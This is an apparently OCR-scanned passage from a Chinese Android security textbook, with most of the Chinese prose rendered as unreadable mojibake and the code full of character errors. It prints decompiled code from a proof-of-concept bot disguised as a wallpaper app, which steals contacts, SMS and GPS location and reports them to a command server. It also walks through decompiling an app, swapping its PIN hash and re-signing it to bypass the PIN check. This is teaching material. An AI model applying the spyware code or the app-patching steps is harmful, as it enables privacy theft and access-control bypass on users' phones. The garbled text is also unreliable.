localHashtable . put(localCursor. getString(localCurser. getColumnindex(” 1d%)), localCursor.getString(locallursor, getColumnIndex(“display
return localHashtable;
¥

]

[®] 6.22 BotWorker Ff] ReadContacts( ) p&%k

BotLocationHandler. class 28 3 {4 434 :
BotClient 21 i A% 51 25 & bwr® 8 Fi] GetCurrentLocation( ) &%k BT B 5
1% bR 85 Bt B 9 FH BotLocationHandler 28 % X Y GetLastLocation ( ) pREC, KB4 |

© bwr & BotClient 251% 8 i) — 4~ 5 7 A8, ME 6. 10 B8 B #R & s 7T W, bwr /& BotWorker 2§ i) 52
{6, LA BotClient 250 LA A bwr X421 F BotWorker 285 SCH %5 Fh A3t iR 57 B, A




% 6% Android 5 B 42 5 if &) TA42 101

BOT & Fimf i B, WA 6.23 Fizs,

mblic closs BotlLocotionHandler
implements Locationlistener
{
public static final String LOG_TAG = "MCS_BOT_BotlLocationHondler"”;
private static String bestProvider,
private static Location ol
private stotic LocationManager locationManager:

public static Location GetlostLocation()
{

return ERCIERRENEREGH
)

| public stotic void Inmitialize(Context paramContext)
{
locationManager = (LocationManoger )paramContext.getSystemService(“location");
Criterio localCriteria » new Criteria();
bestProvider = locationManager, getBestProvider(localCritera, false);
(i
public void enLocationChanged(Location paromlocation)
{
{ Log. v("MCS_BOT_BotLocationHendler”, Double. toString(paramlocation getlatitude()) + “ * + Double. toString(paramlocation, getLongitude()) + " °

= paramlLocation;

}
[® 6.23 BotLocationHandler. class H1 5% L[] GetLastLocation( ) pR%K

BotSMSHandler. class 25 344447

BotClient 25 ] il 72 28 & bwr 8 JH GetReceivedSMS ( ) pRZLFK HL SMS 5 B..
GetReceivedSMS( ) pREUE X AE BotWorker 257, % pR %5 6 B % ] BotSMSHandler 25
E X ) GetMessages( ) A%, F XAE BotSMSHandler 25+ () onReceive () BREL T 5¢
WEWT SMS JH B HER, W HEfF KRG R IR 4%, W&l 6.24 fas.

¥ ERFITLEEER, 2 CutePuppiesWallpaper M Fi #2 7

BT BRI B Hr, AT LIS X R 458, Bl CutePuppiesWall-
paper N E—NEEREF. RERBZNHERF, ESVFE 1T EERS.
TN IR F I AAE T — MEARIEC 77 BOT 7%, ©1l LI B Socket
BEEEDFGL 58 H $ 0> (Command and Control Center, CnC), FfiJ5 %55k
B CnC M4, ZH 0 RS [ 4F F /Y BOT #2)7 Kk ZROR R a4 .

BRG] FHRRFF AR H 2 B— BN R, HETIHERMOE, ik
SMS {5 2. RECEIVE_SMS #fR, LK H SMS {5 8 B 4114 Receiver 7E S Intent 3o
R, MW T —RELCN AR RO ThRETIRE . E RS, AT LN AR R i
RIS 2R EESL TG 110 IO I Fr RE A5 AR 45 0 7 IR 45 2% 2% 2% (w4, 1) BOT fIR 55 4%
EEEMEE, AFEKANSE . WRARHE, SMS 58, MEFE (fHh GPS
HebR) . B ERRRF LRSS &R IMEL S, 25455,

RIEE 6. 12 AT LIMGEFR 6. 4, fr48 BOT BBF Kk,

© MEAZRIE (Proof of Concept, POC), 5 Exploit [7] 3, #&A2F) R4S H BOE T o — AR
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package com.adam.CutePuppiesWallpaper;

#|import android.content.BroadcaostReceiver;

public class BotSMSHandler extends BroadcastReceiver
{
public static final String LOG_TAG = "MCS_BOT_BotSMSHandler™;
private static final int MAX_SAMS = 10;
private static int SMSCounter;
private stotic List<String> 1SmsMessages,

public static List<String- GebMéssopes()
{
return lSmsMessages;

}

public static void Initialize()
{ .
1SmsMessages = new ArraylList();
SMSCounter = @;

}

public void onReceive(Context paramContext, Intent paramlntent)
{
Object[] array0fObject = (Object[])paramIntent getExtras().get("pdus”);
Log. v("MCS_BOT_BotSMSHandler™, "SMS Received\n™);
SmsMessage[] arrayOfSmsMessage - new SmsMessage[arrayOfObject. length];
for (int ) = @; j < arrayOfObject.length; je+)
arrayOfSmsMessage[j] = SmsMessage . createfromPdu( (byte[])array0fObject(i]);
StringBuilder localStringBuilder = new StringBuilder();
int i = arrayOfSmsMessage.length;
for (int k = 8; k < 1; k++)
{
SmsMessage localSmsMessage = arrayOfSmsMessagel(k];
localStringBuilder. append( "Received SMS\nfrom: “);
localStringBullder. append(localSmsMessage.getDsplayOriginatingAddress());
localStringBuilder. append("\n");
localString8uilder, append(local SmsMessage  getDisplayMessageBody())
}
1SmsMessages. add( SMSCounter % 18, localStringBuilder. toString());
SMSCounter = 1 + SMSCounter;

6.24 BotSMSHandler. class H15E Y [ GetMessages( ) PR%L

6.4 CnC ZiX45 BOT EFRMGE

% M@
MCS_CONTACTS_INFO UK R AR B
MCS_BROWSER_HISTORY RELN Y88 7
MCS_SMS IR B
MCS_LOCATION i % FFKE GPS {5 &
MCS_PACKAGES IR e I AR 31 3R
MCS_DEVICE_INFO IR (R B

MR AR5 #r, AT LLHE H Cute Puppies BE 4R S F 2 i B9 T i 72 4n [ 6. 25

PR o
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BRI B PR R
i T #kCute PuppiesBE4EHk {4

S PTIFREGEAR I :

HI3: BOTJG A% FFHizlT gﬁ% ﬁ%ﬁ?gg
$PR6: BOTE FamibEisk HCnC
B4, FERIBG A% L
YR E3£ 4 CnC

[ 6.25 EFEFEFF Cute Puppies TAERER

— B P ) Android S AT s AR AR IR T #OF RN IR, SR
FaER& EREE, BOT K2R & IFRIZ T, JF H BOT & 7 i i £ 2
CnC, BOT R45 25 [mIi%% F i 3L i 25 K i% fn 444 BOT % F ¥, BOT % /7 iR
ik B CnC a5 HdiE R 545 IR 55 2% o

6.5 INGL

A EERHE T BRI S B BT R, RIE, WET Android N7
BFHERT R, HERIA )5 1% /T Android BT F BTN
WA, ABENBT ARG, BHER TEENARFRSTTR, KshEEE
Iz R P 8947 A A BE



73 KFHFIRMNEN Android N H R F1TH

AELISE 6 EHINA AR, DIEH 4 F/ BB FRR AT N 8 SR G1HE R T
i, EADHTAIVER Android N FHAR FF M %5 30 (apk 3XHF) @77,
N . dex IMFMIAER, LARAERA N ARFIRIGEFL T, BRI Android i
FRFHATRGEMER HiF, WMLRACENHRFTAMER, ik, FFiL
R BUGEE R ATE S R iR R . BUE smali UBAMEF #IFHTX, &
AR AR RFAT HRY o

7.1 ¥R

TEHAPMBEFITEZAR—BAZHBAEN AR LEEAR, FRHXLHEAR
BIAR AT REIR A HEAT Pl 4RME (ARIFT R BRERA HERE, WA TREAE
FEE) -

1) fER AR F RIS ERNT R,

2) HERMHERFHEERTN.

3) SEdn RO E R TIRE

7.1.1 FINEEHITA

PLEERRR, XAFHORSEEN. BB AT LT #—4 Android N I ¥
(apk) , MEHITR@WE, BIEETH, REEHITANHERF, BHEHE
2% Android N T4, M T Android W R FF AT LA Z AR AT L TR, BHit—
HH A RESWAT, KRXEE LB BB TR, A SN
AT R EE

7.1.2 FBREEHITA

AFEFTFNRIEEAR , FHT x]SR AR AR FE BEAT b . AN SRS B N R AR R AR A
e BB R, TENHITELOMB R LEIER/ BRNIT R TR FEF
BT AN TR EEEE, RMYLER, WE, &7 LUK HAETE
BUGHEEFHATATWBGE R R, A, WRTSSRNBERTR, AP RREMR
FARMINL AR, RENAREARAGRELE, B FEFER—D “Td” MNH
FE 7RI,
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7.1.3 S 4ERITNEE

ABFIEARKE =R, EARSLMHERF IR EDIRE. 2R A

FEM AT, TEMAEMSEEAFIS, &R GEER & 1l FH i (8] p 3
R, SREEAIESTmAS BA) &, Xif, EAXEERYE smali A7, 3t
] LA i AR Fr B _E AR T REAL A .

7.2 DEX 4R

52 BN T Dalvik BIINL (VM) , BERE% RiEFT Android v FHFRFF M % i1 #)
T HFE L, Dalvik & #HLGE

{7 P 2 B M Ak B i 7 R A 18 4 bexs i
FERGETT. (R Java i 45 9 Android :
N AR P i Java Jieas gl i il Java F header
_%‘E%o E Android f?‘xﬁiﬁ?’?ﬂ"] Java ﬁj}”ﬁ string_ids
B, WA 3En T — A2 IR, wE P
B . class X (Java 79505 SO ) %% 4 s
i . dex 30 (Dex 3C/48% Dalvik ZZ59) proto_ids
Dex ﬁﬁ%ﬁ Dalvik [EHIYL Eizfr, X FZ field idds
.class X, BB —1 . dex X4, method_ids
ﬁ*ﬁﬁﬁﬁ%ﬂ’] . class 3C{4 3 1of Dalvik dx e
GiF AR AR — . dex UM, . dex ST o
MEsHanGE 7. 1 s .
Android SDK H# T —4~ dexdump T link_data
B, ATURRRBOE BN dex LA N A .
AR, EEXL N X TH%E KL B bt e il

BAK, WA KR AL FIE Bl .

[EJ 7.3 @R T dex SCHFHY header (CHFLH) fFH (M4 “dexdump-”
BFE), % dex I classes. dex i@ i 4% HelloActivity. java SC43K45, WA 7.2 Br
oo MWET.3 FA[LAFE], classes. dex SCAFALE T4 K dex XHFABKIFER, B
A SCHFRAN, SN, AR . dex ST p 2% FBERI RN FS B o - dex 3C
PEha g MFBANT . k., S48, KB, R, Bk, UREHE. BFHE—
NEEE AL, B 7.4 BoRHR HelloActivity 5 A 1, FBFZA H L2 R
T HelloActivity 25PN EB5E L) R4 (1N init, OnCreate pR%L) . & 7.5 7 B 2 TR
REMAD,
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pentestusri®tools-gibbons-vm-2;~/Android/workspace/Hel lo/src/com/hel lo/worlds cat HelloActivity.jova
package com.hello.world;

import android.app.Activity;
import android.os.Bundle;

public class HelloActivity extends Activity (
/** Called when the activity 1s first created. */
&0verride
public void onCreate(Bundle savedInstanceState) {
super . onCreate(savedInstanceState);
setContentView(R. layout.main);

Ipentestusri1®tool s-gibbons-vm-2:~/Android/workspace/Hel lo/src/com/hel lo/worlds |

7.2 —AfEHA) Android “Hello World” F&FF

ol s-gibbons-vm-2: ~/Androld/morkspoce/Hello/binS dexdump -f classes.dex
asses. dex’ ...
dex', DEX version '@35°

¢ dex\nR3s\G"
T 41e0078f

: 112 (0xd0070)
14

y T 248 (Ox2O00F8)
field ids_size : 4
fleld. ids_ off T 349 (OxBO9154)
¢ 21
¢ 372 (BxP00174)
6
T 460 (BxdRlce)
-5 : 1252
data_off » 652 (@x08028¢)

7.3 HelloActivity #£F classes. dex X1k E R

IEGnAE 7.4 F1[&E 7.5 HEEE), dexdump T HE AV HABRULEEMVEFEER,
RAEEX THFEN R R T ML E ffca A —ErHeh, BEXL(EEEHEYA
ATEER . (R, ZASZ0K{d Al smali/baksmali® il 4/ I 4ras AT FIER . dex #8303
S, MIEEHRE, smali SCHFFE 25 5 Ff% . smali 2638 . dex SO A BT REAY smali
A, XFhSCHEE B AT e, 0 BLAE smali XA REE TR, FBRATER
45 baksmali REASIE smali SCE41EM . dex $83. apktool T B BEWSEE T A . dex
SO ERT T A K apk 304

© smali #1 baksmali 4351|5248 Android &4t Dalvik HEHUALE F R — R . dex #2030 890 4R 2% #1 RIC 48
a8 BT . dex M FATIRE (nEM, MIKEE, KEEERSE) . smali f1 baksmali 43 Bl B vk &
B FAS AR 4RI AS 0 . EF M ABEHKRIERE Y Dalvik BIHLAEZF “Dalvik” #HE—
VKB MR 2 F . —— AT

@ A hup: //code. google. com/p/smali/, ——iF&HTE
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: 3
1 1 (i)

: X
8 (DDRand)
ource file {dx 1
panctetions_of f 1 0 (exta0Ne)
loss_gata off T 1622 (WxON0s656)
ptatic flelos size : @
instonce_Flelds_size: @
rect_metnoas_size : 1
rual_methads_size: 1

ass 09
Class descriptor @ 'Leoa/hello/world/nellohctivity;”
Access Tlags T a1 (PUBLIC)
Siperclass : 'Londroid/opp/activity; !
Interfaces .
Stotic fields
Instaxe fields
Direct metnods
(in Loom/nello/morid/tel loActivity; )
@ feinint

T @xapesl (PUBLIC CONSTRUCTOR)

16-bit coge units
1 {208 com. hel 1o, morld. Hel loActivity  <imie»: OV
19889 invoke-direct (W}, Londrotd/opp/Activity; . <inits(OV // mertnod®udes
1963 return-vold

positions g
D09 Linesd
Tocals T
DRO00 - DEND4 regd this Leomvbello/worla/telioActivity;

Virtual methods >
- : {in Looswhello/worlaMelloactivity;)

nomse 3 forkreate”

Type : "{Landrotd/os/Bundle; V'

Geoess T 0R01 (PUBLIC)

codte -

13
fres £ 2
outs 32

1Y

16-pit code units
1 (98824c] com. bello,sorlo, ellasctivity . onCreate: (Landroid/os/Bundle; vV

ivity 8915 8

Class #1 heoder:
closs_{dx : 4
[
superclaoss_{dx
interfaces off
source_file_ ldx
anrotations_of f
class_doto_of f
stotic_fields_size
instonce_fields_size:
direct_methods_size :
virtual _sethods_size:

Class #1
Closs descriptor : ‘Lecom/nello/world/R$attr;’
Access flogs ; @811 (PUBLIC FINAL)
Supercloss : 'Ljeva/leng/Dbject;”
Interfoces
Static fields
Instance fields
Direct: sethods
b 1 (in Leom/hello/world/MSater;)
nome : t<inits”
type Oy
occess ; BaAe8d1 (PUBLIC CONSTRUCTOR)
code
registers i
i
1
4 16-bit code units
0% . | (600309 com.hello . world R attr <inits:(OV
B20318; 7910 Badd 0000 10990 |mvoke-direct (v}, Ljava/lang/Object;.<inlts>:(OV /7 methodBoeda
090316: el 19083; return-vold

BxD080 1ine«1
locals -
ExO08 - BB regsd this Loom/Mella/world/RSattr]

Virtual sethods
source_file {dx 15 (R.jove)

7.5 classes. dex X4 R 2510145 &
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7.3 ROIAR: BUNHAEFTA

BT RBFE 7S AT 48 Android Jf FI 2 e i ik S 4 13 A smali AURD, BT 4R 1%,
FHHTH A apk XA, Bk Android N R FHFT R, BABEERE T —1
] B X N FAR FF—— “SecureApp” , 0 F 2 P 5 22 P #E (68 FH 22 AT A\ LE 4 B 2
1. AT R EREEM P RIS X—FERER . 2 FEfTEE A 7.6 1
B 7.7 B

= 0 & 115

R

7.6 Android #4ll#% Fi=17HY SecureApp iz Fi
5556:3naroNIVOeT r)es

SaC BRI

B0 asdtEaY = s

7.7 I SecureApp L
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TE Sl e TR — DR FP A, 55— 20 2R N AR PP i S REFIAT o 3E

BHROAT, TEEXER. FHNMARERF, FFEOH
R AR PRSI IIRE, AR6Ih, B H %N
FRFLEAESERSR L, K5 B ZNHER.
mE 7.8 s, MARFRIGE, a5 AR
Mo MEAt, APHAMERRTEEIKE, URE
MESHEBFEHR (I PIN), 2 FH HEZMN
TS, EidRE AR MR MR, 1 REHZMN
FATE PP B2 s im A MY BB i A 805, T B /i
ABIRAKERN 4 . Fit, 7 LUARIZN AR
RIS 4 REECF Y

$R1: REENAER

{8 apktool T E W] DL 2 4 35 N FH #2 7 SCAF
(apk), B 7.9 B8 T SecureApp. apk % JZ %15 %]

12

secure_app LT N, W W IZ X4 NE, W E7.8 AENAERFNTR

B 7.10 fin, HPEE 4 smali X%k, AR

smali L4575 B 7E smali/andsec/test SCHFSE R, 4N 7. 11 fifs, &I A #I BT
% smali TR B LA KeyPad 5% R RTZR T 44 ok al AR, &N H RAW

A~ Java X144, B KeyPad. java # R. java,

pentestusri@tools-gibbons -vm-2:~/Android/androl d-sdk/toolss s 5%

SecureApp . apk

pentestusriBtools-gibbons-vm-2:4/Android/android-sdk/tool s$ apktool decode SecureApp.opk secure_app
1: Baksmaling...

1: Loading resource table...

1: Decoding resources...

1: Looding resource table from file: /nome/pentestusrl/opktool/framenori/1.opk
1: Copying assets and libs...
pentestusriBtools-gibbons-ve-2:~/Androi d/androi d-sdi/tools$

7.9 Adiff apktool 5z 4% SecureApp. apk

B 7.10 {dif apktool GZE (K smali A
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closs Londsec/test/KeyPadsl;
.super Ljova/lang/Object;
LSource

Amplements Londrotd/vies/ViewdOnClickListener;

ennotation system Ldolvik/annotation/EnclosingMetind;
value = Londsec/test/XeyPad; -»onCregteLandrol d/os/Bundle; WV

Lagivik/annotation/ lnnerCloss;
g

fleld fingl synthetic tTisiV:londsec/test/leyPod;

Jleld privete final synthetic valSbrnSubmit: Landrold/widget/Button;
fleld privaote final syntheric valSetPass:Londrotd/widget/EgitText;
field privote final synthetic val$tviabel:Landrolid/widget/Textvien;

ivate fingl synthetic volStwisg: Landrold/sidget/Textyion;

e <inite(Londsec/tests/eyPod; Landroid/ widget/Eait Text | Londrol d/widget/Button ; Landrot d/wi dget/ TextVies; Landrol &/widget/ TextVien;

iput-object pl, , Londsec/test/KeyPadSl; ->thi s Londsec/vest/ KuyPol;
iput-object p2, , Landsec/test/KeyPadsl | -»valSerPass T Landrolod/widgetr EditTexty;
iput-cbject p3, , Londsec/test/NeyPadsl ; ->valSornSutm £ Landrold/sl doet/Button;
iput-cbject p4, , Lungsec/test/KeyPeasl; ->val §tviaoel : Landrot d/widget,/ Textiien;

put-object ps, , Landsec/test/KayPad$l ] -»val $twwsg: Londrol d/widget TextVien;

Liava/lang/Object; ~»<int t>OV

[ 7.11 KeyPad. smali {4

$HR2: BHNAER

tnfE 7. 12 fias, iE5€ KeyPad $ 1. smali {49 smali {05, #fLAHES, %%
i B SHA-256 9 8 gkt 8 ) P e b R P B R i AR BOE. REHIT
AL ity B ) ([ I R A7 A A B RS R AT F X, A SR TR I AR B P B SR
R .

WE 7. 13 hbRERFT S1 i, BHZESIE (hash) 235325 & v8 i,
@%ﬂowﬁDM%ﬁﬁﬁﬁﬁﬁ,WPWWﬁAOLN.ﬂuﬁmMMJmﬁ.
AN —NYE, RIEHEIN—&E A ZES AR v8 i, MmiARYE FH o 9w

© SHA (Secure Hash Algorithm, %4 E5|5H:), MEEERLELR (NSA) i&it, HiEEEFRE
SHEARWIERE (NIST) %A, B—FEETH — 8CFFE S B A, KEREOFSR (X
(HEANEE) Mo%e:, SEARE BT A GG ESE T TESE, 153X 0 8978 A 55 45 88 f i R AR #5 . SHA-256 &
SHA IR EAPRIKZ — . —IREE
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# virtwol sethods
smethod public getHosh(lLjova/long/String;)[8
locals 5
parameter “passaord
Jennotation systee Ldalvik/annotation/Throws;
value = {
Liavo/lo/UnsupportedEncodingException;

end annotation

prologue
JAdine 70
coNSt/s vi, ixd

line 71
-local vi, sDigest:Ljova/security/Messogeligest;
invoke-virtual {p@}, Landsec/test/XeyPad;->getRescurces()Landroid/content/res/Resources;

move-result-object v2

line 72
Jlocol v2Z, res:landrold/content/res/Resources;
const/highlé v, @x7id

invoke-virtual {v2, W}, Lendrold/content/res/Resources;->getStrina(I)Ljova/lang/String;
move-result-object v3

JHine 75

Aocal v3, sSalt:Ljovarlong/String;
stry stort 0

const-string w4,

invoice-stotic {v4}, curity/Messogedigest; ->getinstance(l javo/long/String; L jova/securl ty/MessogeDigest;
ttry_end @
«cotch Ljovo/security/NoSuchAigori thmException; {(:try_start @ .. :try_end @} :cotch @

move-result-object vi

Jine 82

igoto @

imvoke-virtual (v1}, Ljove/security/Messogeligest;->reset(OV

line 81
irvoke-virtual {v3}, Ljava/lang/String;->getBytes()[8

B 7.12 KeyPad $ 1. smali S {44 1) SHA-256 AR

MRS, ZeiNiE. B 7.13 8% i R apktool IEFEB‘JE&A smali 3214,
E 7. 14 Bl RIEHIER smali X5, Z 300 & FidiEa ({dfH SHA-256 &k
HE “1234” RINEREC 5 EEIE) .

const- string v8,
“2DD225ED6888BA62465CF4C54DB21FC17700925D0BD0774 EE60B600B0172E916”

TEEBME, BFE ST hash FEFMA— “HE", REZHE (U
Bz i R P R iR WS B hash {H) , SUESKIEEIENSET . — BiLH BB KRG
iX A~ hash (EFNER(E , AT LA i AS 5 H 5 A6 Bl 2 5 1 545 21 (1) hash {8 [7] V)"“U
AR X R A% 6 hash (EAH LB, HAT R IBEME. MHNERELR PSR
RA4L

$R3:. EMRFENAERF

WmpE 7.15 s, ATRAE 64 “apktool b” KB HUR Y smali FURS E L4 ,
TR apk SCF, BT AE SR apk SCIFBCETE dist HRF, W 7. 16 fiR .

O #hMA (Salt), SERAEWT hash of B AHIAOBSMOBHLL, FIF By L5 T W th @RI SC. —
FHik
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B 7.13  “if-eqz v10" iBAELEL v8 HR (A AR P A YRR

KEFAT AR apk ZRAER AT L2 AT, FTEX apk XFSEfT8 4 403
i 7. 17 Bz, BEE AT ATER B 5 9% B3R Signapk T H.. fEBRUSHINHERF L,
BEE AT LA “1234" ENETEE SO EAIZN AR T .

EREAREZA T REGFMERGIFN AT, 47 UMEE RS 195 H
PR A, (87 Al A2 R P A e B TR R SR DA RIERIL A, ) ) 7 PR e B A
ThEE. XL IFAUGE T Ry, ERELLKRGI+, EFELEF A
AERL A [ R i PP P 28080 B 1 O
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ng/String; -»equel

0, Lendsec/

invoke-vi rtucl

rold/wi dget

Lendse AheyPadsl ;- »th

}, Landsec/tes yPod; - »getApp| i cat

pentestusrietools-g T/ A ( Securs_app
AndroidMani fest . xml  apktool . yml
pentestusri®tools-gibbons-vm-2:~/Android/android-sdk/tools/secure_app$ apktool b

Checking whether sources has changed.

Smaling...

Checking whether resources has changed. ..

Lng resources. ..

8uilding opk file
entestusri®tools-gibbons-wm-2:~/Android/android-sdk/tools/secure_app$ 1s
otol 24

pentestusrl pentestusri 592 2012-02-28 88:52 AndroidManifest.xml

! pentestusrl pentestusri 92 2012-82-28 08:52 apktool.yml
arwxr 3 pentestusrl pentestusrl 4096 2012-082-28 ©9:01
drwxr-xr-x 2 pentestuscl pentestusrl 4996 2012-02-28 09:01
drwxr-xre 7 pentes 1 pe usrl 4096 2012-082-28 08:52
drwxr- pe tusrl pentestusrl 4996 2012-92-28 08:52
pentestusriftool s-gibbons-vm-2: ~/Android/android-sdk/tool s/secure_app$

B 7.15 4T “apktool b” #n4-BIELAYHT H &
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pentestusrl@tools-gibbons-vm-2:~/Android/android-sdk/tools/secure_app/dists s
SecureApp .apk
pentestusrl®tools-gibbons-vm-2:~/Android/android-sdik/tools/secure_app/dist$ cd ..
pentestusri@tools-gibbons-vm-2:~/Android/android-sdk/tools/secure_app$ 1s
AndroidMani fest,xml apktool .yml

pentestusri@tools-gibbons-vm-2:~/Android/android-sdk/tools/secure_app$ ls -1 dist/
total 16

-rw-r--r-- 1 pentestusrl pentestusrl 15227 2012-02-28 @9:01 SecureApp.apk
pentestusrl®tools-gibbons-vm-2:~/Android/android-sdk/tools/secure_app$

B 7.16 FHITEE) apk SCIFRCEAE dist HR T

0 3.6 S G Anmol — bash 7524 s e "
Dec 12 14:38:57 on ttysood
Anmol$ java -jar ~/Downloads/signapk.jar ~/Downloads/certifi

cate.pem ~/Downloads/Key.pk8 dist/SecureApp.apk modifiedapp.api]

B 7.17 X330 apk SCEHITESL

7.4 L) 1: Google Wallet ifFifF

Google Wallet J& Google 23] JF & B8 2h S ATk, ATEAME R FHEFAL L& 2
R SE, sl FSEE, BWFINEFG hBHEE. EHEd NFC (Near
Field Communication, T3 {5) FAREEA PayPass® KIF & WES (Fln,
MasterCard © ] PayPass &4t) L#HfT&e%t, XMEER, EWIRGN, RA
FUXRBAEREEAERF . e RaGLaS R#T .

FER: NFC2—HERTRME, EREUEE o JoLk i il (78 3h ik 2% [7] B it A 1%
AT o AT AR F7E 32 A5 328 5 P 2 5 S5 7 o

NFC {# f§ RFID #7125, &8 “SE (Secure Element, Z£HiT)" &%
Mff % et SE & HF X USRI mE, wEHFSES. BV )X &
R, HPTERMA 4 GZEFA PIN 5, Jf H HIRIEIER WG, 3 2050908 5% ot
B

© PayPass, Ji MasterCard 234 tH 4 —FllERERRN (R R R 40, AR Hfh X (5 AR R A 0 He b B R L3k
AT LASE AR AR LA B (R FA2E 5 o PayPass RETAVIF (LR A DM 5 RS TE B, vT 4 R0 2 B R #
Ko — AT

© MasterCard (T HEEFRHS) B— >yt 25000 G & R RAY, 763 EALANESHR 5 T
LATe A RAE, o HakERALGE S H SR T IE (MasterCard) {FR-RMT NN ( Maestro)
fRid k. —iFEN:
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FSUER, % PIN 85 LA il B 4% sUAF A 7E SQLite i FEHR, iad Google Y
“Protocol Buffers” BMICHE X S5 4 3 0P SIL O KU , HEATAFEE3cHR . Proto-
col Buffers” /& Google FF K # S ##/E, FITF RGEZIAME#HIE BE, XE5HILEE
FrPoI b E . DX B — | 745 & v AT LASKAS % PIN BN, BB iHE
F—/~fd ] SHA-256 kit B BBIIME T A7 . HiE PIN 5 R i 4 C0805H B
N, BEUSE I # AR T RS 5 i it PIN i, it , REXREHAT root
GhIE, A REREIRTG LS BRI —EE . TH, A RO K minT LS s i A& i
root 03, PRUNEBIFEE £2ARZ TH A LUFHRXS Android #8747 root #2E, fn3R
EEETHMEZSHEHNE, (IS %E M. htps: //zvelo. com/blog/entry/google-

wallet- security- pin- exposure- vulnerability ,
7.5 5L 2: Skype iFiE (CVE-2011-1717°)

2011 4, Android fRASH) Skype 1 FHF2 - 9% & PIL{# FH SQLite3 #0422 A7 FH P
WEEE, #l, AP ID, KREAGE ., £iE5HE, £ 0. BfERIER, 2
R HAbEHE . 1 H, Skype N AR /FI&A M FHE Y MAR GV HBFEHET
World readable #ZFR, B Z Al 24U BR ) X ok Se 804 A7 &2 2 F B, AEA0 5 72
el P ERREE I Bl ik Lo 5 diE . AR RO R, X SRR A St % b
(A% A B SCHY 77 AR 7E SQLite3 £ e . 36 EARISL M3k Android Police & 3
ZiwiE, JFHRE T4 POC WEffy, RBM% A ZiwiAM Skype i AP b 3K
HUBUHE .

7.6 FASERER

ANEHE A EZ MBI, TP LN AR PG TR, SN

) Protocol Buffers, fEF:H protobuf, 42 Google 25 FIFF & i —FhEUERHIRIE S, JF XML, REGHSHHE
B IFIIL, TR TFEIRGEN . BEDNE . EAMBTES TS, HETYT RIERR.
BUMTBEE /7 %45 C+ + ., Java, Python % =Fp4ifiE 5, {HAT LAHREIAR A JLTFHMBENTAES B =
TR, ZLTZ T &R AL G B s sci, ——iR# T

© CVE (Common Vulnerabilities & Exposures, 7Z>3:iifE %) , Fﬁ?ﬁf?ﬁiﬂﬁ]ﬂ‘]fg‘afﬁﬁﬁﬁ%
BB B HMTE L E A AMNLF, TRER L4 RIE MR E, R E AT R
BEME N B2 A HE S KA, CVEHAR—THel R, BFRMERREGESS5HE
BRALS, AR AR A ST R, AR SRR AT S — AR, A4S R PR R R S
BBAGE— iR, ITTE I fiA Ao 5 5 ERAEE I RS, CVE F 1999 4
9 By, HWHAZTEH MITER 2478 £, f4MMRA “ CVE- iR & IAER- WSS 0
W, A5 FTik# Skype Wi CVE 4554 CVE-2011-1717, — & E
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PPt ) TR FRAG B R BB L Al %
7.6.1 KEBEE

RESRE T TF KA A ZI B A —Fpab 3, BT DARR IR RS ek LA 5 /Y T
stk IR AHMELIPRARACRD R ESE N ZS, AT B n i et [e) T A8 vl $0047 SO A ME L
Ak — s X B AR CRAP AT 69 TP bk 3B 1A \b T % B 7 FH AR P = St g e

KZHH) Android N R FHF Java BB 45, EH Java fRIBESHHRIFMIE X
PRV ERL, BITEERNLLE . R C/C ++ 153 4% H A9 — #E% 7T 47 014
FHEG, Java A A F TR SCHEA S0 M TR 4FE. FHit, NEEMUUKER
HIRBERP AR A PR, UOEREFEAXFERL, BIEANEDRFHIF
apk, BEMEERZ SR/ HIRISN FHREFIERG. BT, 5%2KRERBIRE M Mk
R, RPEWUN YR ELHIKTE “IRS5 A5G (Server Side Processing)”
i, RIPFNVABRFHEELS, XM RBHALE, BETFT—TNA.

ProGuard 2 F Android RE M. A RFFKEMEAN Java IREFFZ —, EHEHE
FE45 HIRYE Java 263014, Kol EMIBRZE A R, ZEEM, UKEL
%, MHE, ProGuard iAREMS FHIRER (HARERZELLREN) BFHIEMH
PR XA B E A A . SadiX b, B0 T BEf# apk SCFFEEAIFE], Pro-
Guard TEHEZWEMRE] Android WE R4 H, RA [ release (ki) HA5%HIF
A L FAFE A BB ] ProGuard T H. . A, {#FH debug £ 4513 4 5 2 FF A REE
&4 N B 1 ProGuard T H

0 SR g B N B B9 ProGuard T B I HAESME N AntO =K Eclipse® 4% 1t 72
R —ANEIR A 3hia T, TFEAE properties. cfg U4 Hi% B proguard. config B, %
SCHALTF Android B AR FI H IR ERT, W 7. 18 fiR,

B 7.19 Ff1lE 7.20 BRp R A ID-GUI TEEERHIFEHAH, Kb,
A 7.19 BREEAZSAEIRELLENAT, B 7.20 8/RERMHH ProGuard T B
PEATICISIR AL B 5 AOCHS @ X Pk B A% EL AT L, ProGuard T EL4548 T 261
BT, HEHMAIL, HELHEDIRTER SR A R R R B, &
Fix RE— AR BA SR, AR E I A (X Pk LR A = A Bk i
AR, ExtFRAHNARF RN, RBEENZRESEMHE,

© Ant J Apache k{4342 JAKARTA Hti)—FIH, ERE—FET Java i build (4iiF) TAH,
IS s, EARLEMTF (Unix) C o make HiFTH, (HERA make FGRIG. AT

© Eclipse B —PIFHORIRIBA), BT Java WAl BRFRFE. REEXEMS, ERE-MESRM—4
R4, FFda A E T R IR . Eclipse FiAHF T — MRMERIIRFE, 45 Java FRTH (Ja-
va Development Kit, JDK) %, Ff P o] i id F 4R %% Android i {4 ADT ( Android Development Tool
Android FF & T H), ¥ Eclipse fJ&E iR Android N HBRFHH LS., —iF &
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e ; v ~antimizotiongasses S
o = ! ~duntupemixedcaseclassnames
Xl oM ~dontskipronpubliclibraryclasses
» B -doatoreverify
PGB gen [Lenecated jave Fies) ~verbose
b B Androia 4.0 3 -optimizations lcode/simplification/arithmetic,|field/®, 1class/merging/®
o asses .
» 3 bin ! keep public closs * extends android.app.Activity
» Sares | Weep public closs * extends android.app Application
s £ keep public cless * extends android.app.Service
‘%Afd - "“’_’“"“ . | -keep public cless * oxtends android.content.BroadcastReceiver
| proguardcfy ~keep public cluss * extends android.content.ContentPravider
# project. propenties { -keep public closs * extends android.app.backup.BackupAgentielper
! -keep public closs * extends pndroid.preference.Preference
! keep public closs com android.vending. licensing. ILiconsingService
| -keepclasseswitheenbernames class * {
! notive <methods»;
{ }
| )
i keepclosseswithmenbers closs * {
t public <inita{android.content Context, andraid. ubil AttributeSet);
}

~keepclosseswi theembers class * {
public <init»(android.content.Context, android.util AttributeSet, int);
)

| -keepclosymembers closs * extends ondroid.opp Activity [
public void *(endroid.view.View);

14
-keeoclasseesbers enum *
| public stotic Y*[J values();

public stotic ** volueOf(java.lang.String):
}

-keep class * implements android.os.Parcelable [
public static final ondroid.os.Porcelables$Creator *;
}

